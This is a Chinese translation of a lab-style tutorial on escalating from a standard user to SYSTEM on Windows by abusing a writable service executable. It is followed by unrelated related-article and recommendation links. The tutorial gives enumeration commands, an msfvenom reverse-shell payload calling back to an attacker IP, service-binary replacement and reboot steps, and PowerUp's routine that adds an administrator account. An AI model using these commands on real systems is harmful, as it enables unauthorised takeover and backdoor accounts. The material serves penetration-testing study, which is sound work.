Windows 提权-弱服务_1
本文通过 Google 翻译 Weak Service File Permissions – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
0、前言
在这篇文章中,我们将探讨一个涉及弱权限的服务漏洞。不过,不是服务本身存在弱权限,而是服务启动程序所在的目录存在弱权限,该目录允许普通用户也能往其中写入文件。在这里,我们将学习如何滥用服务的弱权限文件,将权限从普通用户提升到 SYSTEM。
首先,我们需要找到这种可以滥用的漏洞服务,而这类服务通常具有以下特征:
- 服务启动程序所在的目录当前普通用户也能够读写。【标准服务(即系统服务)对应的标准目录(
C:\Windows\
)通常不满足这个要求,所以标准服务可以先跳过。】 - 服务的启动类型是“自动”,即开机自启。
等所有的服务枚举完成之后,我们还需要制作一个恶意程序,以替换服务现有的启动程序,然后通过重启服务提升至 SYSTEM。
在此示例中,假设我们已经作为标准用户 bob 在目标机上获得了立足点。
同时,我们看到用户 bob 拥有 SeShutdownPrivilege 权限,而这一点在稍后利用服务获取 SYSTEM shell 时非常重要,因为需要以重启主机的方式重启服务。
尽管特权 SeShutdownPrivilege 显示 "Disabled",但我们仍然可以使用该权限,因为这些特权的禁用和启用只会影响某些 程序或服务,当这些进程在尝试关机时,必须“请求”此特权。而对于在 GUI(桌面菜单关机)或 CLI(关机命令 shutdown /s) 下的用户来说并不适用。
1、搜寻非标准服务
为了尽快找到可以滥用的服务,我们通常优先从那些非标准服务查起,即从系统中的非标准目录启动服务程序的服务查起。因为,微软对系统标准目录的权限进行了加固,而从非标准目录执行的服务才最有可能发现弱权限文件。
注:标准服务是指系统服务,这类服务的启动程序通常都在
C:\WINDOWS\
目录中,所以该目录属于标准目录。同时,C:\Program Files
和C:\Program Files (x86)
目录应该也属于标准目录,因为它们是微软指定用户安装程序的默认位置,这个位置普通用户通常也只有读的权限没有写的权限。除了这三个目录以外的其它目录如果有服务程序,那么很可能就有戏。
我们可以使用下面的 wmic 命令来查找从非标准位置执行的任何服务:
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\"
在上面的命令中,我们使用 wmic 查询我们感兴趣的服务字段。同时配合 findstr 命令过滤了标准目录 C:\Windows
。
而在上面输出的结果中,有一个名为 Juggernaut 的服务很符合漏洞服务的特征,它的服务启动程序是 C:\Program Files\Juggernaut\Juggernaut.exe
,同时该服务还是一个自启动服务。
另外,与上面 cmd 命令等效的 PowerShell 命令是:
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where { $_.PathName -notlike "C:\Windows*" } | select Name,DisplayName,StartMode,PathName
既然找到了感兴趣的服务,那么接下来,就要仔细检查与该服务相关的目录和文件的权限,以确定该服务是否可以被滥用。
2、搜寻服务的弱权限文件
2.1、枚举服务的弱权限文件 – icacls
为此,我们可以使用 icacls 命令,该命令是一个用于检查目录和文件 ACL 权限的内置命令。而为了能理解 icacls 命令输出的信息,我们需要了解以下关于权限和用户组相关的知识:
【知识1】:我们要查找的目录权限只要是以下三种权限中的任意一种均可:
- (F) Full Control【完全控制】
- (M) Modify【修改】
- (W) Write【写入】
【知识2】:我们会经常见到的用户/组如下:
- 当前登录用户,如 bob。
- Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
- Everyone
- BUILTIN\Users
- NT AUTHORITY\INTERACTIVE
好了,在学习了上面的知识之后,接下来让我们看看 C:\Program Files\Juggernaut
目录的权限,我们可以使用以下命令:
icacls "C:\Program Files\Juggernaut"
这表明 BUILTIN\Users 组的用户拥有该目录的完全控制权。同时,这也意味着我们对服务启动程序可能也拥有完全控制权,因为在默认情况下文件会继承自己所在目录的权限,让我们继续确认下:
icacls "C:\Program Files\Juggernaut\Juggernaut.exe"
Perfect!这意味着我们可以用恶意程序替换服务启动程序,从而完全控制这项服务。
2.2、枚举服务的弱权限文件 – Accesschk
一旦找到了感兴趣的服务,我们也可以使用 Sysinternals 工具套件中名为 Accesschk 的工具来枚举目录和文件的权限,它与 icacls 命令非常相似。
在向受害者机器传输任何工具之前,我们需要先枚举其架构,然后再为其传输匹配的工具。命令如下:
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
可以看到,这台机器运行的是 Windows 10 Pro - Build 18362 - Version 1903,并且是 x64 架构。
然后,我们就可以使用 certutil 工具去传输64位的 accesschk64.exe 程序了。
先使用以下命令查看目录的权限:
.\accesschk64.exe -wvud "C:\Program Files\Juggernaut" -accepteula
在这里,我们可以看到 BUILTIN\Users 组拥有 FILE_ALL_ACCESS,即“完全控制”权限,这与 icacls 输出的结果非常相似。
然后我们去掉“-d”选项,去检查服务启动程序的权限,例如:
.\accesschk64.exe -wvu "C:\Program Files\Juggernaut\Juggernaut.exe" -accepteula
可以看到, BUILTIN\Users 组同样拥有 FILE_ALL_ACCESS 权限。
现在,既然我们已经了解了如何使用手动技术来枚举权限薄弱的目录,那么接下来就看看如何使用自动工具一次性枚举所有非标准服务和权限薄弱的服务文件。
3、工具自动化搜寻弱服务
从上面,我们已经了解了如何通过 wmic 查找非标准服务,以及如何使用 icacls 和 accesschk 枚举非标准服务启动程序所在目录的权限。接下来,我们将学习如何借助工具来同时完成这两个步骤。
有很多后利用工具和脚本可使用,但在本例中,我们将坚持使用 PowerUp.ps1 和 winPEASx64.exe。
在下载每个工具的副本之后,我们将其转移到受害者机器。
3.1、PowerUp
在这个示例中,我们先使用 PowerUp,然后再使用 winPEAS。
一般在手动枚举之后,我们希望优先使用 PowerUp,因为它输出的内容精炼且有效可能会为我们更快取得胜利。当使用 PowerUp 检查完毕且没有找到可利用信息之后,我们再使用 winPEAS 对系统进行全面枚举。
可以使用命令 powershell -ep bypass
进入 PowerShell,然后再使用点源的方式(. .\scrip.ps1)将 PowerUp.ps1 加载到当前会话中。
然后,就可以使用 PowerUp 的 Invoke-AllChecks 功能一次检查所有错误配置和漏洞,就像这样:
. .\PowerUp.ps1
Invoke-AllChecks
PowerUp 查找了服务的弱权限文件,并发现了较弱的 Juggernaut 服务。
此外,PowerUp.ps1 还内置了其它函数,可用于滥用 PowerUp 发现的大多数错误配置或特殊权限。【注:滥用操作在本文的第 5 节讲述】
3.2、winPEAS
接下来开始 winPEAS 工具的使用,winPEAS 会输出大量的信息让人很容易犯迷糊,因此避免迷糊的关键在于要清楚我们要找的信息所在的标识位置。对于弱服务权限,我们要检查“Services Information”部分。这里会为我们提供有关服务名称、服务启动程序路径和启动类型等信息。
这告诉了我们利用这项服务所需的一切信息。它显示我们拥有可执行文件的写入权限,而且该程序还是一个自动启动程序。
由于这是一个弱服务漏洞,winPEAS 实际上也在“Application Information”部分提示了该漏洞。
4、利用服务的弱权限文件
现在,我们已经看到了寻找非标准服务和枚举服务文件权限的多种方法,接下来要做的就是利用服务获取 SYSTEM shell。
而要利用这一点,我们需要制作一个与服务启动程序名称相同的恶意程序 Juggernaut.exe。同时我们知道该系统架构是 64 位,因此可以使用以下命令轻松制作出恶意程序:
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=172.16.1.30 -a x64 --platform Windows -f exe -o Juggernaut.exe
如果发现该服务是在 Program Files (x86) 目录中运行的,则需要考虑制作一个 32 位的可执行文件,因为 64 位的可执行文件对该服务可能不起作用。
有了恶意程序之后,将其转移到受害者机器。
在在受害者机器上将文件移动到 C:\Program Files\Juggernaut
目录之前,我们需要备份原来的服务启动程序。
move "C:\Program Files\Juggernaut\Juggernaut.exe" "C:\Program Files\Juggernaut\Juggernaut.exe.BAK"
备份完成之后,就可以启动 netcat 监听,迁移恶意程序,然后重启系统。
move C:\temp\Juggernaut.exe "C:\Program Files\Juggernaut"
shutdown /r /t 0 /f
系统重启大约 20 秒后,就看到监听器获得了一个 SYSTEM shell!
5、滥用 PowerUp.ps1 功能
之前在 3.1 小节的时候,当我们使用 PowerUp.ps1 枚举服务弱文件权限时,它显示有 AbuseFunction (滥用)字段。现在,我们可以用它来利用这个漏洞。
使用此 AbuseFunction 命令将创建一个恶意命令,该命令会创建一个新用户,并将该用户添加到管理员组中。
Install-ServiceBinary -ServiceName 'Juggernaut'
可以看到,PowerUp 创建的 Juggernaut.exe 二进制文件将创建一个名为 John 的用户,密码为 Password123!。
现在,当我们检查 C:\Program Files\Juggernaut
目录时,就会看到 PowerUp 创建的新程序将出现在其中,而原来的程序被备份为 Juggernaut.exe.bak。
同样地,需要重启系统才能触发新增管理员用户的程序被执行。
系统重新启动后,我们回到之前的反向 shell 中,在这里可以看到用户是被创建并添加到本地管理员组的!
此时,如果很幸运发现目标系统的 RDP 服务是打开的,那我们就可以使用 xfreerdp 进行 RDP 登录,然后以“以管理员身份运行”打开 cmd,进入到具有完全权限的高完整性 shell 中。
sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.250 +clipboard
但是,如果目标没有打开 RDP 服务。此时,我们就需要通过 Runas 和 UAC-bypass 技术来获取管理员高完整性 shell。
Windows 提权-弱服务_1的更多相关文章
- 35.windows提权总结
本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...
- 「白帽黑客成长记」Windows提权基本原理(下)
上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...
- 「白帽黑客成长记」Windows提权基本原理(上)
我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(下)
「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(上)
「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...
- Windows提权小结
摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...
- 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权
原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...
- windows提权的几种姿势
想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...
- Windows提权总结
当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息.知己知彼,才百战不殆. 常规信息搜集 systeminfo 查询系统信息 hostname 主机 ...
- windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)
对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...
随机推荐
- Qt/C++音视频开发56-udp推流和拉流/组播和单播推流
一.前言 之前已经实现了rtsp/rtmp推流,rtsp/rtmp/hls/flv/ws-flv/webrtc等拉流,这种一般都需要依赖一个独立的流媒体服务程序,有没有一种更便捷的方式不需要这种依赖, ...
- Qt音视频开发10-ffmpeg控制播放
一.前言 很多人在用ffmpeg做视频流解码的时候,都会遇到一个问题,如何暂停,如果打开的是本地视频文件,暂停你只需要停止解码即可,但是视频流你会发现根本没用,一旦你停止了解码,下次重新解码的时候,居 ...
- Spring+Vue+ElementUI的前后端分离开发项目中,前端向后端发送请求,后端返回错误:Cannot deserialize instance of `java.util.LinkedHashMap` out of START_ARRAY token
问题描述: Spring+Vue+ElementUI的前后端分离开发项目中,前端向后端发送请求,后端返回错误:Cannot deserialize instance of `java.util.Lin ...
- 前端学习openLayers配合vue3(面的绘制,至少三个点)
我们学习了点和线的绘制,当然我们也可以绘制一个面 关键代码,需要注意的一点就是面的绘制需要三维数组,线的绘制是个二维数组 const polygonLayer = new VectorLayer({ ...
- Eval-Expression.NET:动态执行C#脚本,类似Javascript的Eval函数功能
我们都知道在JavaScript中,我们可以通过Eval来执行JavaScript字符串代码. 下面推荐一个.Net版本的Eval的开源项目. 01 项目简介 Eval-Expression.NET是 ...
- JS利用浏览器进行语言识别
JS利用浏览器进行语言识别 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> ...
- Mac上安装mongoDB详细教程
Mac OSX 平台安装 MongoDB MongoDB 提供了 OSX 平台上 64 位的安装包,你可以在官网下载安装包. 下载地址:https://www.mongodb.com/download ...
- spring事务配置的5种方式
事务配置其实把思路理清,还是很容易的. spring的配置文件中关于事务配置总是由三个部分组成:分别是DataSource.TransactionManager和代理机制这三部分,无论哪种配置方式,一 ...
- docker没有vi不能执行yum报Device or resource busy
最近在使用docker的过程中发现一个问题,就是想用vim编辑器编辑一个文件,发现连vi都没有. 于是想到一个办法用docker cp来解决问题: 首先执行docker ps -a查看容器的id 然后 ...
- langchain-agent
Agent 参考:LangChain 实战:Agent思维 大模型是被训练出来的,知识是有时间限制的,所以当进行问答时,可以结合本地知识库和调用搜索或在线API来增强自身能力,这些不属于大模型的内部数 ...